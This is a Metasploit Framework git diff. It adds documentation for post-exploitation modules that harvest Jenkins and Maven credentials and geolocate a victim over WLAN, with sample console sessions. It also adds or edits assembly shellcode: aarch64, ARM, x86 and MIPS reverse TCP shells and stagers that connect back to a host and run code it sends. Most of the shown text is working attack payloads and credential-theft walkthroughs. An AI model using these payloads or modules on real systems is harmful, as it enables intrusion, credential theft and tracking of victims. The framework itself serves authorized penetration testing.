+  ----        ---------------  --------  -----------
+  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
+  SESSION     17               yes       The session to run this module on.
+  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).
+
+Description:
+  This module can be used to extract saved Jenkins credentials, user 
+  tokens, SSH keys, and secrets. Interesting files will be stored in 
+  loot along with combined csv output.
+
+
+msf post(jenkins_gather) > run
+
+[*] Searching for Jenkins directory... This could take some time...
+[*] Found Jenkins installation at C:\Program Files\Jenkins
+[+] Credentials found - Username: user1 Password: Password123456
+[+] SSH Key found! ID: 83c6a18f-6b35-420a-8534-cc505c3347b5 Passphrase: secretpassphrase123 Username: sshkey1 Description: interesting description
+[+] Job Info found  - Job Name:  User: testpass Password: secretpass123
+[+] Job Info found  - Job Name:  User: testpass Password: ohwowosupersecret
+[+] Node Info found - Name: test Host: hostnode1.lab.local Port: 22 CredID: 972fc428-dd7c-46ea-a119-be78ae0866ad
+[+] API Token found - Username: admin Token: 8a114e0fa48c1a489c39b98e94c986c8
+[+] API Token found - Username: useruseruser Token: 6810c3f6ccca939ac2a8b8ac4b9de012
+[*] Searching through job history for interesting bits...
+[+] Job Log truffles:
+C:\Program Files\Jenkins\jobs\asdf\builds\4\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
+C:\Program Files\Jenkins\jobs\asdf\builds\4\log:"secret is secret"
+...
+C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:C:\Program Files\Jenkins\workspace\asdf>echo "secret is secret" 
+C:\Program Files\Jenkins\jobs\asdf\lastSuccessful\log:"secret is secret"
+[+] 
+Creds
+=====
+
+ Username  Password           Description
+ --------  --------           -----------
+                                          
+ testpass  secretpass123                   
+ testpass  ohwowosupersecret  
+ user1     Password123456     
+
+[+] 
+API Keys
+========
+
+ Username      API Tokens
+ --------      ----------
+ admin         8a114e0fa48c1a489c39b98e94c986c8
+ useruseruser  6810c3f6ccca939ac2a8b8ac4b9de012
+
+[+] 
+Nodes
+=====
+
+ Node Name  Hostname             Port  Description   Cred Id
+ ---------  --------             ----  -----------   -------
+ test       hostnode1.lab.local  22    testtesttest  972fc428-dd7c-46ea-a119-be78ae0866ad
+
+[+] SSH Key
+[*]  ID: 83c6a18f-6b35-420a-8534-cc505c3347b5
+[*]  Description: interesting description
+[*]  Passphrase:  secretpassphrase123
+[*]  Username:    sshkey1
+[*] 
+-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEAuTfL0ijR0JDLTQC092ZolnkTJGRi7YQInK/K1ZFDFc44JOSU
+...snip...
+7Ad+Ja6+51ECnXJIFKPj7binB6/C10YVqHh4KON3DeA6ZA7ZpUko
+-----END RSA PRIVATE KEY-----
+
+[*] Post module execution completed
+
+
+```
+
+**Jenkins 2.67 on Ubuntu 16.04**
+
+```
+msf post(jenkins_gather) > set session 20
+session => 18
+msf post(jenkins_gather) > info
+
+       Name: Jenkins Credential Collector
+     Module: post/multi/gather/jenkins_gather
+   Platform: Linux, Windows
+       Arch:
+       Rank: Normal
+
+Provided by:
+  thesubtlety
+
+Basic options:
+  Name        Current Setting  Required  Description
+  ----        ---------------  --------  -----------
+  SEARCH_JOBS true             no        Search through job history logs for interesting keywords. Increases runtime.
+  SESSION     17               yes       The session to run this module on.
+  STORE_LOOT  true             no        Store files in loot (will simply output file to console if set to false).
+
+Description:
+  This module can be used to extract saved Jenkins credentials, user
+  tokens, SSH keys, and secrets. Interesting files will be stored in
+  loot along with combined csv output.
+
+msf post(jenkins_gather) > run
+
+[*] Searching for Jenkins directory... This could take some time...
+[*] Found Jenkins installation at /root/.jenkins
+[+] Credentials found - Username: thanksforthefish Password: whatagreatbook
+[+] API Token found - Username: user1 Token: 859e1d6ee6ab85804434fa5395ab962d
+[+] API Token found - Username: admin Token: 9da706c125a4b5a4c19b1f799723175c
+[*] Searching through job history for interesting bits...
+[+] 
+Creds
+=====
+
+ Username          Password         Description
+ --------          --------         -----------
+ thanksforthefish  whatagreatbook
+
+[+] 
+API Keys
+========
+
+ Username  API Tokens
+ --------  ----------
+ admin     9da706c125a4b5a4c19b1f799723175c
+ user1     859e1d6ee6ab85804434fa5395ab962d
+
+[*] Post module execution completed
+```
diff --git a/documentation/modules/post/multi/gather/maven_creds.md b/documentation/modules/post/multi/gather/maven_creds.md
new file mode 100644
index 0000000000..3c7235021d
--- /dev/null
+++ b/documentation/modules/post/multi/gather/maven_creds.md
@@ -0,0 +1,64 @@
+## Vulnerable Application
+
+[Maven](https://maven.apache.org/) a software project management.
+This module seeks all settings.xml (Maven configuration file) on the target file system to extract credentials from them.
+Credentials are store in the <server> tag ; the module also tries to cross the identifier found with the <mirror> or
+<repository> tag in order to find the full realm the credentials belong to.
+
+This module was successfully tested against:
+
+- Ubuntu 14.04 and Maven 3.0.5 with shell and meterpreter as session type
+- Debian 9 and Maven 3.0.5 with shell and meterpreter as session type
+
+## Verification Steps
+
+  1. Get a `shell` or `meterpreter` session on some host.
+  2. Do: ```use post/multi/gather/maven_creds```
+  3. Do: ```set SESSION [SESSION_ID]```
+  4. Do: ```run```
+  5. If the system has readable configuration files (settings.xml) containing username and passwords, they will be printed out.
+
+## Scenarios
+
+### Ubuntu 14.04 and Maven version 3.0.5
+
+```
+msf post(maven_creds) > run
+
+[*] Finding user directories
+[*] Unix OS detected
+[*] Looting 19 files
+[*] Downloading /home/user/settings.xml
+[*] Reading settings.xml file from /home/user/settings.xml
+[*] Collected the following credentials:
+[*]     Id: server-nexus-dev
+[*]     Username: deploynexus-dev
+[*]     Password: password-dev
+[*] Try to find url from id...
+[*] No url found, id will be set as realm
+
+[*] Collected the following credentials:
+[*]     Id: server-nexus-int
+[*]     Username: deploynexus-int
+[*]     Password: password-int
+[*] Try to find url from id...
+[*] Found url in mirror : http://www.myhost.com/int
+
+[*] Collected the following credentials:
+[*]     Id: server-nexus-prd
+[*]     Username: deploynexus-prd
+[*]     Password: password-prd
+[*] Try to find url from id...
+[*] Found url in repository : http://www.myhost.com/prd
+
+
+msf post(maven_creds) > creds
+
+Credentials
+===========
+
+host  origin  service  public              private         realm                        private_type
+----  ------  -------  ------              -------         -----                        ------------
+                       deploynexus-dev     password-dev    server-nexus-dev             Password
+                       deploynexus-int     password-int    http://www.myhost.com/int    Password
+                       deploynexus-prd     password-prd    http://www.myhost.com/prd    Password
\ No newline at end of file
diff --git a/documentation/modules/post/multi/gather/wlan_geolocate.md b/documentation/modules/post/multi/gather/wlan_geolocate.md
new file mode 100644
index 0000000000..e8a9d33f26
--- /dev/null
+++ b/documentation/modules/post/multi/gather/wlan_geolocate.md
@@ -0,0 +1,66 @@
+## Creating A Testing Environment
+
+  For this module to work you need a box with a wireless adapter.  The following methods are used to gather
+  wireless information from the host:
+  
+  - Windows: `netsh wlan show networks mode=bssid`
+  - OSX: `/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s`
+  - Linux: `iwlist scanning`
+  - Solaris: `dladm scan-wifi`
+  - BSD: `dmesg | grep -i wlan | cut -d ':' -f1 | uniq"`
+  
+  If `GEOLOCATE` is set to true, Google's [GeoLocation APIs](https://developers.google.com/maps/documentation/geolocation/intro) are utilized.
+  These APIs require a Google [API key](https://developers.google.com/maps/documentation/geolocation/get-api-key) to use them.  The original
+  methodology used by this module in [#3280](https://github.com/rapid7/metasploit-framework/pull/3280),
+  which didn't require an API key, was found to no longer work in [#8928](https://github.com/rapid7/metasploit-framework/issues/8928).  
+  
+## Verification Steps
+
+  1. Start msfconsole
+  2. Obatin a meterpreter session via whatever method
+  3. Do: `use post/multi/gather/wlan_geolocate`
+  4. Do: `set session #`
+  5. Do: `set apikey [key]`
+  5. Do: `run`
+
+## Options
+
+  **geolocate**
+  
+  A boolean on if wireless information should only be gathered, or the Google geolocate API should be used to geo the victim.  Defaults to `false`
+  
+  **apikey**
+
+  A string containing the Google provided geolocation api key. **REQUIRED** if `geolocate` is set to true. Defaults to empty string
+
+## Scenarios
+
+### Windows 10
+
+	resource (met_rev.rc)> use exploit/multi/handler
+	resource (met_rev.rc)> set payload windows/meterpreter/reverse_tcp
+	payload => windows/meterpreter/reverse_tcp
+	resource (met_rev.rc)> setg lhost 2.2.2.2
+	lhost => 2.2.2.2
+	resource (met_rev.rc)> set lport 9876
+	lport => 9876
+	resource (met_rev.rc)> setg verbose true
+	verbose => true
+	resource (met_rev.rc)> exploit
+	[*] Exploit running as background job 0.
+	[*] Started reverse TCP handler on 2.2.2.2:9876 
+	[*] Sending stage (179267 bytes) to 1.1.1.1
+	[*] Meterpreter session 1 opened (2.2.2.2:9876 -> 1.1.1.1:16111) at 2017-10-01 19:27:15 -0400
+	
+	resource (met_rev.rc)> use post/multi/gather/wlan_geolocate
+	resource (met_rev.rc)> set geolocate true
+	geolocate => true
+	resource (met_rev.rc)> set session 1
+	session => 1
+	resource (met_rev.rc)> set apikey ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
+	apikey => ANza1yFLhaK3lreck7N3S_GYbEtJE3gGg5dJe12
+	msf post(wlan_geolocate) > run
+	[+] Wireless list saved to loot.
+	[*] Google indicates the device is within 30.0 meters of 30.3861197,-97.7385878.
+	[*] Google Maps URL:  https://maps.google.com/?q=30.3861197,-97.7385878
+	[*] Post module execution completed
diff --git a/modules/post/windows/manage/archmigrate.md b/documentation/modules/post/windows/manage/archmigrate.md
similarity index 87%
rename from modules/post/windows/manage/archmigrate.md
rename to documentation/modules/post/windows/manage/archmigrate.md
index 0b67c71ce2..dc0e4aefda 100644
--- a/modules/post/windows/manage/archmigrate.md
+++ b/documentation/modules/post/windows/manage/archmigrate.md
@@ -1,5 +1,6 @@
 ## Creating A Testing Environment
-  To use this module you need an x86 executable type meterpreter on a x64 windows machine.
+
+To use this module you need an x86 executable type meterpreter on a x64 windows machine.
 
 This module has been tested against:
 
@@ -23,9 +24,10 @@ This module was not tested against, but may work against:
 
 ### Windows 10 x64
 
+```
     msf exploit(handler) > run
 
-    [*] Started reverse TCP handler on <MSF_IP>:4567 
+    [*] Started reverse TCP handler on <MSF_IP>:4567
     [*] Starting the payload handler...
     [*] Sending stage (957487 bytes) to <Win10x64_IP>
     [*] Meterpreter session 1 opened (<MSF_IP>:4567 -> <Win10x64_IP>:50917) at 2017-03-22 11:43:42 -0500
@@ -39,8 +41,8 @@ This module was not tested against, but may work against:
     Logged On Users : 2
     Meterpreter     : x86/windows
     meterpreter > background
-    [*] Backgrounding session 1...                
-    msf exploit(handler) > use post/windows/manage/archmigrate 
+    [*] Backgrounding session 1...
+    msf exploit(handler) > use post/windows/manage/archmigrate
     msf post(archmigrate) > set session 1
     session => 1
     msf post(archmigrate) > run
@@ -70,4 +72,5 @@ This module was not tested against, but may work against:
     System Language : en_US
     Domain          : WORKGROUP
     Logged On Users : 2
-    Meterpreter     : x64/windows
\ No newline at end of file
+    Meterpreter     : x64/windows
+```
diff --git a/documentation/modules/post/windows/manage/priv_migrate.md b/documentation/modules/post/windows/manage/priv_migrate.md
index 4a7131fe32..b3d9e96440 100644
--- a/documentation/modules/post/windows/manage/priv_migrate.md
+++ b/documentation/modules/post/windows/manage/priv_migrate.md
@@ -56,7 +56,7 @@ set PAYLOAD windows/meterpreter/reverse_https
 set LHOST 192.168.1.101
 set LPORT 13002
 set ExitOnSession false
-set AutoRunScript multi_console_command -rc /home/user/auto.rc
+set AutoRunScript multi_console_command -r /home/user/auto.rc
 exploit -j
 ```
 
diff --git a/external/source/meterpreter/README b/external/source/meterpreter/README
index 5fd64608e6..d22b98ad8b 100644
--- a/external/source/meterpreter/README
+++ b/external/source/meterpreter/README
@@ -1,2 +1,2 @@
-Meterpreter source code has moved to its own repository, hosted at
-https://github.com/rapid7/meterpreter
+Meterpreter source code is part of the metasploit-payloads repository, hosted at
+https://github.com/rapid7/metasploit-payloads
diff --git a/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s b/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s
new file mode 100644
index 0000000000..29bad24a2e
--- /dev/null
+++ b/external/source/shellcode/linux/aarch64/single_reverse_tcp_shell.s
@@ -0,0 +1,72 @@
+.equ SYS_SOCKET, 0xc6
+.equ SYS_CONNECT, 0xcb
+.equ SYS_DUP3, 0x18
+.equ SYS_EXECVE, 0xdd
+.equ SYS_EXIT, 0x5d
+
+.equ AF_INET, 0x2
+.equ SOCK_STREAM, 0x1
+
+.equ STDIN, 0x0
+.equ STDOUT, 0x1
+.equ STDERR, 0x2
+
+.equ IP, 0x0100007f
+.equ PORT, 0x5C11
+
+_start:
+        // sockfd = socket(AF_INET, SOCK_STREAM, 0)
+        mov    x0, AF_INET
+        mov    x1, SOCK_STREAM
+        mov    x2, 0
+        mov    x8, SYS_SOCKET
+        svc    0
+        mov    x3, x0
+
+        // connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
+        adr    x1, sockaddr
+        mov    x2, 0x10
+        mov    x8, SYS_CONNECT
+        svc    0
+        cbnz   w0, exit
+
+        // dup3(sockfd, STDIN, 0) ...
+        mov    x0, x3
+        mov    x2, 0
+        mov    x1, STDIN
+        mov    x8, SYS_DUP3
+        svc    0
+        mov    x1, STDOUT
+        mov    x8, SYS_DUP3
+        svc    0
+        mov    x1, STDERR
+        mov    x8, SYS_DUP3
+        svc    0
+
+        // execve('/system/bin/sh', NULL, NULL)
+        adr    x0, shell
+        mov    x2, 0
+        str    x0, [sp, 0]
+        str    x2, [sp, 8]
+        mov    x1, sp
+        mov    x8, SYS_EXECVE
+        svc    0
+
+exit:
+        mov    x0, 0
+        mov    x8, SYS_EXIT
+        svc    0
+
+.balign 4
+sockaddr:
+        .short AF_INET
+        .short PORT
+        .word  IP
+
+shell:
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+end:
+
diff --git a/external/source/shellcode/linux/aarch64/stage_mettle.s b/external/source/shellcode/linux/aarch64/stage_mettle.s
new file mode 100644
index 0000000000..0092c737ef
--- /dev/null
+++ b/external/source/shellcode/linux/aarch64/stage_mettle.s
@@ -0,0 +1,98 @@
+.equ SYS_READ, 0x3f
+.equ SYS_MMAP, 0xde
+.equ SYS_EXIT, 0x5d
+
+start:
+    adr    x2, size
+    ldr    w2, [x2]
+    mov    x10, x2
+
+    /* Page-align, assume <4GB */
+    lsr    x2, x2, #12
+    add    x2, x2, #1
+    lsl    x2, x2, #12
+
+    /* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
+    mov    x0, xzr
+    mov    x1, x2
+    mov    x2, #7
+    mov    x3, #34
+    mov    x4, xzr
+    mov    x5, xzr
+    mov    x8, SYS_MMAP
+    svc    0
+
+    /* Grab the saved size, save the address */
+    mov    x4, x10
+
+    /* Save the memory address */
+    mov    x3, x0
+    mov    x10, x0
+
+read_loop:
+    /* read(sockfd, buf='x3', nbytes='x4') */
+    mov    x0, x12
+    mov    x1, x3
+    mov    x2, x4
+    mov    x8, SYS_READ
+    svc    0
+    cbz    w0, failed
+    add    x3, x3, x0
+    subs   x4, x4, x0
+    bne    read_loop
+
+    /* add entry_offset */
+    adr    x0, entry
+    ldr    x0, [x0]
+    add    x0, x0, x10
+    mov    x14, x0
+
+    /* set up the initial stack */
+    mov    x0, sp
+    and    sp, x0, #-16
+    add    sp, sp, #(16 * 6)
+
+    /* argc = 2, argv[0] = 'm' */
+    mov    x0, #2
+    mov    x1, #109
+    str    x1, [sp]
+    mov    x1, sp
+
+    mov    x2, x12
+    mov    x3, 0
+
+    mov    x4, 0
+    mov    x5, #7 /* AT_BASE */
+
+    mov    x6, x10
+    mov    x7, #6 /* AT_PAGESZ */
+
+    mov    x8, #0x1000
+    mov    x9, #25 /* AT_RANDOM */
+
+    mov    x10, x10
+    mov    x11, #0 /* AT_NULL */
+
+    stp    x10, x11, [sp, #-16]!
+    stp    x8, x9, [sp, #-16]!
+    stp    x6, x7, [sp, #-16]!
+    stp    x4, x5, [sp, #-16]!
+    stp    x2, x3, [sp, #-16]!
+    stp    x0, x1, [sp, #-16]!
+
+    mov    x29, #0
+    mov    x30, #0
+    br     x14
+
+failed:
+    mov    x0, 0
+    mov    x8, SYS_EXIT
+    svc    0
+
+.balign 16
+size:
+        .word 0
+        .word 0
+entry:
+        .word 0
+        .word 0
diff --git a/external/source/shellcode/linux/aarch64/stage_shell.s b/external/source/shellcode/linux/aarch64/stage_shell.s
new file mode 100644
index 0000000000..5c203a7403
--- /dev/null
+++ b/external/source/shellcode/linux/aarch64/stage_shell.s
@@ -0,0 +1,44 @@
+.equ SYS_DUP3, 0x18
+.equ SYS_EXECVE, 0xdd
+.equ SYS_EXIT, 0x5d
+
+.equ STDIN, 0x0
+.equ STDOUT, 0x1
+.equ STDERR, 0x2
+
+_start:
+    /* dup3(sockfd, STDIN, 0) ... */
+    mov    x0, x12
+    mov    x2, 0
+    mov    x1, STDIN
+    mov    x8, SYS_DUP3
+    svc    0
+    mov    x1, STDOUT
+    mov    x8, SYS_DUP3
+    svc    0
+    mov    x1, STDERR
+    mov    x8, SYS_DUP3
+    svc    0
+
+    /* execve('/system/bin/sh', NULL, NULL) */
+    adr    x0, shell
+    mov    x2, 0
+    str    x0, [sp, 0]
+    str    x2, [sp, 8]
+    mov    x1, sp
+    mov    x8, SYS_EXECVE
+    svc    0
+
+exit:
+    mov    x0, 0
+    mov    x8, SYS_EXIT
+    svc    0
+
+.balign 4
+shell:
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+.word 0x00000000
+end:
+
diff --git a/external/source/shellcode/linux/aarch64/stager_sock_reverse.s b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s
new file mode 100644
index 0000000000..f8b354fbc5
--- /dev/null
+++ b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s
@@ -0,0 +1,98 @@
+.equ SYS_SOCKET, 0xc6
+.equ SYS_CONNECT, 0xcb
+.equ SYS_READ, 0x3f
+.equ SYS_MMAP, 0xde
+.equ SYS_EXIT, 0x5d
+
+.equ AF_INET, 0x2
+.equ SOCK_STREAM, 0x1
+
+.equ STDIN, 0x0
+.equ STDOUT, 0x1
+.equ STDERR, 0x2
+
+.equ IP, 0x0100007f
+.equ PORT, 0x5C11
+
+start:
+    /* sockfd = socket(AF_INET, SOCK_STREAM, 0) */
+    mov    x0, AF_INET
+    mov    x1, SOCK_STREAM
+    mov    x2, 0
+    mov    x8, SYS_SOCKET
+    svc    0
+    mov    x12, x0
+
+    /* connect(sockfd, (struct sockaddr *)&server, sockaddr_len) */
+    adr    x1, sockaddr
+    mov    x2, 0x10
+    mov    x8, SYS_CONNECT
+    svc    0
+    cbnz   w0, failed
+
+    /* read(sockfd, buf='x1', nbytes=4) */
+    mov    x0, x12
+    sub    sp, sp, #16
+    mov    x1, sp
+    mov    x2, #4
+    mov    x8, SYS_READ
+    svc    0
+    cmn    x0, #0x1
+    beq    failed
+
+    ldr    w2, [sp,#0]
+
+    /* Page-align, assume <4GB */
+    lsr    x2, x2, #12
+    add    x2, x2, #1
+    lsl    x2, x2, #12
+
+    /* mmap(addr=0, length='x2', prot=7, flags=34, fd=0, offset=0) */
+    mov    x0, xzr
+    mov    x1, x2
+    mov    x2, #7
+    mov    x3, #34
+    mov    x4, xzr
+    mov    x5, xzr
+    mov    x8, SYS_MMAP
+    svc    0
+    cmn    x0, #0x1
+    beq    failed
+
+    /* Grab the saved size, save the address */
+    ldr    w4, [sp]
+
+    /* Save the memory address */
+    str    x0, [sp]
+
+    /* Read in all of the data */
+    mov    x3, x0
+
+read_loop:
+    /* read(sockfd, buf='x3', nbytes='x4') */
+    mov    x0, x12
+    mov    x1, x3
+    mov    x2, x4
+    mov    x8, SYS_READ
+    svc    0
+    cmn    x0, #0x1
+    beq    failed
+    add    x3, x3, x0
+    subs   x4, x4, x0
+    bne    read_loop
+
+    /* Go to shellcode */
+    ldr    x0, [sp]
+    blr    x0
+
+failed:
+    mov    x0, 0
+    mov    x8, SYS_EXIT
+    svc    0
+
+.balign 4
+sockaddr:
+.short AF_INET
+.short PORT
+.word  IP
+
diff --git a/external/source/shellcode/linux/armle/stager_sock_reverse.s b/external/source/shellcode/linux/armle/stager_sock_reverse.s
index ed4e63c11c..bb4f0a303a 100644
--- a/external/source/shellcode/linux/armle/stager_sock_reverse.s
+++ b/external/source/shellcode/linux/armle/stager_sock_reverse.s
@@ -2,7 +2,7 @@
 @
 @        Name: stager_sock_reverse
 @   Qualities: -
-@     Authors: nemo <nemo [at] felinemenace.org>
+@     Authors: nemo <nemo [at] felinemenace.org>, tkmru
 @     License: MSF_LICENSE
 @ Description:
 @
@@ -34,20 +34,26 @@ _start:
 	mov r1,#1          @ type     = SOCK_STREAM
 	mov r2,#6          @ protocol = IPPROTO_TCP
 	swi 0
+	cmp r0, #0
+	blt failed
 @ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
-    mov r12,r0         @ sockfd
+	mov r12,r0         @ sockfd
 	add r7,#2          @ __NR_socket
-	add r1,pc,#144     @ *addr
+	add r1,pc,#196     @ *addr
 	mov r2,#16         @ addrlen
 	swi 0
+	cmp r0, #0
+	blt failed
 @ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
-    mov r0,r12         @ sockfd
+	mov r0,r12         @ sockfd
 	sub sp,#4
 	add r7,#8          @ __NR_recv
 	mov r1,sp          @ *buf (on the stack)
 	mov r2,#4          @ len
 	mov r3,#0          @ flags
 	swi 0
+	cmp r0, #0
+	blt failed
 @ round length
 	ldr r1,[sp,#0]
 	ldr r3,=0xfffff000
@@ -59,10 +65,12 @@ _start:
 	mov r7, #192       @ __NR_mmap2
 	ldr r0,=0xffffffff @ *addr = NULL
 	mov r2,#7          @ prot  = PROT_READ | PROT_WRITE | PROT_EXEC
-    ldr r3,=0x1022     @ flags = MAP_ANON | MAP_PRIVATE
+	ldr r3,=0x1022     @ flags = MAP_ANON | MAP_PRIVATE
 	mov r4,r0          @ fd
 	mov r5,#0          @ pgoffset
 	swi 0
+	cmn r0, #1
+	beq failed
 @ recv loop
 @ ssize_t recv(int sockfd, void *buf, size_t len, int flags);
 	add r7,#99         @ __NR_recv
@@ -77,16 +85,24 @@ loop:
 	cmp r2, #0
 	ble last
 	mov r2,#1000       @ len
-	swi 0	
+	swi 0
+	cmp r0, #0
+	blt failed
 	b loop
 last:
 	add r2,#1000       @ len
 	swi 0
+	cmp r0, #0
+	blt failed
 @ branch to code
 	mov pc,r1
+failed:
+	mov r7, #1
+	mov r0, #1
+	swi 0
 @ addr
 @ port: 4444 , sin_fam = 2
-.word   0x5c110002 
+.word   0x5c110002
 @ ip: 127.0.0.1
 .word   0x01aca8c0
 @.word   0x0100007f
diff --git a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm
index e14a06a1d8..19d3aab641 100644
--- a/external/source/shellcode/linux/ia32/stager_sock_reverse.asm
+++ b/external/source/shellcode/linux/ia32/stager_sock_reverse.asm
@@ -1,9 +1,9 @@
 ;;
-; 
+;
 ;        Name: stager_sock_reverse
 ;   Qualities: Can Have Nulls
 ;     Version: $Revision: 1512 $
-;     License: 
+;     License:
 ;
 ;        This file is part of the Metasploit Exploit Framework
 ;        and is subject to the same licenses and copyrights as
@@ -33,11 +33,13 @@ BITS   32
 GLOBAL _start
 
 _start:
+	push 0x5              ; retry counter
+	pop esi
+
+create_socket:
 	xor  ebx, ebx
 	mul  ebx
-
-; int socket(int domain, int type, int protocol);
-socket:
+	; int socket(int domain, int type, int protocol);
 	push ebx              ; protocol = 0 = first that matches this type and domain, i.e. tcp
 	inc  ebx              ; 1 = SYS_SOCKET
 	push ebx              ; type     = 1 = SOCK_STREAM
@@ -47,13 +49,15 @@ socket:
 	int  0x80
 	xchg eax, edi
 
-; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
-connect:
-	pop  ebx
+set_address:
+	pop ebx                    ; set ebx back to zero
 	push dword 0x0100007f ; addr->sin_addr = 127.0.0.1
 	push 0xbfbf0002       ; addr->sin_port = 49087
 	                      ; addr->sin_family = 2 = AF_INET
 	mov  ecx, esp         ; ecx = addr
+
+; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
+try_connect:
 	push byte 0x66        ; __NR_socketcall
 	pop  eax
 	push eax              ; addrlen
@@ -62,6 +66,22 @@ connect:
 	mov  ecx, esp         ; socketcall args
 	inc  ebx              ; 3 = SYS_CONNECT
 	int  0x80
+	test eax, eax
+	jns mprotect
+
+handle_failure:
+	push 0xa2
+	pop eax
+	push 0x0              ; sleep_nanoseconds
+	push 0x5              ; sleep_seconds
+	mov ebx, esp
+	xor ecx, ecx
+	int 0x80              ; sys_nanosleep
+	test eax, eax
+	js failed
+	dec esi
+	jnz create_socket
+	jmp failed
 
 %ifndef USE_SINGLE_STAGE
 
@@ -74,6 +94,8 @@ mprotect:
 	shl  ebx, 12
 	mov  al, 0x7d         ; __NR_mprotect
 	int  0x80
+	test eax, eax
+	js failed
 
 ; ssize_t read(int fd, void *buf, size_t count);
 recv:
@@ -83,6 +105,13 @@ recv:
 	mov  dh, 0xc          ; count = 0xc00
 	mov  al, 0x3          ; __NR_read
 	int  0x80
+	test eax, eax
+	js failed
 	jmp  ecx
 
+failed:
+	mov eax, 0x1
+	mov ebx, 0x1          ; set exit status to 1
+	int 0x80              ; sys_exit
+
 %endif
diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
index 9aba45eea7..0e8f53b88a 100644
--- a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
+++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s
@@ -1,11 +1,11 @@
 ##
-# 
+#
 #        Name: stager_sock_reverse
 #        Type: Stager
 #   Qualities: No Nulls out of the IP / Port data
 #   Platforms: Linux MIPS Big Endian
-#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>
-#     License: 
+#     Authors: juan vazquez <juan.vazquez [at] metasploit.com>, tkmru
+#     License:
 #
 #        This file is part of the Metasploit Exploit Framework
 #        and is subject to the same licenses and copyrights as
@@ -27,101 +27,117 @@
 #        generate the string to place on:
 #          modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
 ##
-	.text
-	.align  2
-	.globl  main
-	.set    nomips16
+  .text
+  .align  2
+  .globl  main
+  .set    nomips16
 main:
-	.set    noreorder
-	.set    nomacro
+  .set    noreorder
+  .set    nomacro
+  # socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
+  # a0: domain = PF_INET (2)
+  # a1: type = SOCK_STREAM (2)
+  # a2: protocol = IPPROTO_IP (0)
+  # v0: syscall = __NR_socket (4183)
+  li      $t7, -6
+  nor     $t7, $t7, $zero
+  addi    $a0, $t7, -3
+  addi    $a1, $t7, -3
+  slti    $a2, $zero, -1
+  li      $v0, 4183
+  syscall 0x40404
+  slt     $s0, $zero, $a3
+  bne     $s0, $zero, failed
+  sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
 
-	# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
-	# a0: domain = PF_INET (2)
-	# a1: type = SOCK_STREAM (2)
-	# a2: protocol = IPPROTO_IP (0)
-	# v0: syscall = __NR_socket (4183)
-	li      $t7, -6
-	nor     $t7, $t7, $zero
-	addi    $a0, $t7, -3
-	addi    $a1, $t7, -3
-	slti    $a2, $zero, -1
-	li      $v0, 4183
-	syscall 0x40404
-	sw      $v0, -4($sp) # store the file descriptor for the socket on the stack
-	
-	# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
-	# a0: sockfd
-	# a1: addr = AF_INET (2)
-	# a2: addrlen = 16
-	# v0: syscall = __NR_connect (4170)
-	lw      $a0, -4($sp)
-	li      $t7, -3
-	nor     $t7, $t7, $zero
-	sw      $t7, -32($sp)
-	lui     $t6, 0x115c
-	sw      $t6, -28($sp)
-	lui     $t6, 0x7f00          # ip
-	ori     $t6, $t6, 0x0001     # ip
-	sw      $t6, -26($sp)
-	addiu   $a1, $sp, -30
-	li      $t4, -17
-	nor     $a2, $t4, $zero
-	li      $v0, 4170
-	syscall 0x40404
-	
-	# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
-	# a0: addr = -1
-	# a1: lenght = 4096
-	# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
-	# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
-	# sp(16): fd = -1
-	# sp(20): offset = 0
-	# v0: syscall = __NR_mmap (4090)
-	li      $a0, -1
-	li      $a1, 4097
-	addi    $a1, $a1, -1
-	li      $t1, -8
-	nor     $t1, $t1, $0
-	add     $a2, $t1, $0
-	li      $a3, 2050
-	li      $t3, -22
-	nor     $t3, $t3, $zero
-	add     $t3, $sp, $t3
-	sw      $0, -1($t3)         # Doesn't use $sp directly to avoid nulls
-	sw      $2, -5($t3)         # Doesn't use $sp directly to avoid nulls
-	li      $v0, 4090
-	syscall 0x40404
-	sw      $v0, -8($sp)        # Stores the mmap'ed address on the stack
+  # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16)
+  # a0: sockfd
+  # a1: addr = AF_INET (2)
+  # a2: addrlen = 16
+  # v0: syscall = __NR_connect (4170)
+  lw      $a0, -4($sp)
+  li      $t7, -3
+  nor     $t7, $t7, $zero
+  sw      $t7, -32($sp)
+  lui     $t6, 0x115c
+  sw      $t6, -28($sp)
+  lui     $t6, 0x7f00          # ip
+  ori     $t6, $t6, 0x0001     # ip
+  sw      $t6, -26($sp)
+  addiu   $a1, $sp, -30
